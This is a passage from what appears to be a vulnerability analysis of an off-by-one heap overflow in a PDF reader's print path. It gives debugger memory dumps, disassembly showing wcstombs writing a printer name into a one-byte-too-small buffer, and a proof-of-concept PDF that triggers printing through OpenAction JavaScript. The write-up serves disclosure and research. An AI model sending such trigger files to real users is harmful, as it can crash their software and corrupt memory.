31ef3030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

Source buffer:

```
0:000> db poi(@esp+4)-20 L0x20+(0x1d*2)
2f7697de  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
2f7697ee  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
2f7697fe  4d 00 69 00 63 00 72 00-6f 00 73 00 6f 00 66 00  M.i.c.r.o.s.o.f.
2f76980e  74 00 20 00 58 00 50 00-53 00 20 00 44 00 6f 00  t. .X.P.S. .D.o.
2f76981e  63 00 75 00 6d 00 65 00-6e 00 74 00 20 00 57 00  c.u.m.e.n.t. .W.
2f76982e  72 00 69 00 74 00 65 00-72 00                    r.i.t.e.r.
```

Static Analysis:

We know that the vulnerability is caused from a call to wcstombs inside sub_60824C1E:

```
.text:60824C1E ; int __stdcall sub_60824C1E(int, wchar_t *Src)
.text:60824C1E sub_60824C1E    proc near
.text:60824C1E
.text:60824C1E var_10          = dword ptr -10h
.text:60824C1E arg_0           = dword ptr  8
.text:60824C1E Src             = dword ptr  0Ch
.text:60824C1E
.text:60824C1E                 push    ebp
.text:60824C1F                 mov     ebp, esp
.text:60824C21                 push    ebx
.text:60824C22                 push    esi
.text:60824C23                 push    edi
.text:60824C24                 mov     edi, [ebp+Src]
.text:60824C27                 mov     ebx, ecx
.text:60824C29                 test    edi, edi
.text:60824C2B                 jnz     short loc_60824C31
.text:60824C2D                 xor     eax, eax
.text:60824C2F                 jmp     short loc_60824C3F
.text:60824C31 ; ---------------------------------------------------------------------------
.text:60824C31
.text:60824C31 loc_60824C31:
.text:60824C31                 push    200h                ; MaxCount
.text:60824C36                 push    edi                 ; Src buffer
.text:60824C37                 call    ds:wcsnlen          ; we get the size of the wide char string, which is 0x1d
.text:60824C3D                 pop     ecx
.text:60824C3E                 pop     ecx
.text:60824C3F
.text:60824C3F loc_60824C3F:
.text:60824C3F                 push    eax         ; we push 0x1d to sub_60044ED0, allocating a chunk of size 0x1d
.text:60824C40                 call    sub_60044ED0
.text:60824C45                 mov     [esp+10h+var_10], 200h ; size_t
.text:60824C4C                 mov     esi, eax            ; the fresh allocation is used as a destination.
.text:60824C4E                 push    edi                 ; wchar_t *
.text:60824C4F                 push    esi                 ; char *
.text:60824C50                 call    ds:wcstombs         ; off-by-one using wcstombs(dest - @esi, src - @edi, 0x200)
.text:60824C56                 add     esp, 0Ch
.text:60824C59                 lea     ecx, [ebx+4]
.text:60824C5C                 call    sub_6009D9EF
.text:60824C61                 push    esi
.text:60824C62                 push    [ebp+arg_0]
.text:60824C65                 push    eax
.text:60824C66                 call    sub_6023F2CD
.text:60824C6B                 add     esp, 0Ch
.text:60824C6E                 lea     ecx, [ebx+4]
.text:60824C71                 call    sub_6005A07F
.text:60824C76                 push    4
.text:60824C78                 push    [ebp+arg_0]
.text:60824C7B                 push    eax
.text:60824C7C                 push    dword ptr [ebx]
.text:60824C7E                 call    sub_6013D8C2
.text:60824C83                 add     esp, 10h
.text:60824C86                 pop     edi
.text:60824C87                 pop     esi
.text:60824C88                 pop     ebx
.text:60824C89                 pop     ebp
.text:60824C8A                 retn    8
```

The target buffer size is 0x1d and the string is 0x1e in length, leading to an off-by-one overflow in the heap:

```
>>> print "0x%x" % len("Microsoft XPS Document Writer\x00")
0x1e
>>>
```

Proof of Concept

```
%PDF-1.4

1 0 obj
<<>>
%endobj


trailer
<<
/Root
  <</Pages <<>>
  /OpenAction
      <<
      /S/JavaScript
      /JS(
          this.closeDoc();
          app.execMenuItem('Print');
      )
      >>
  >>
>>
```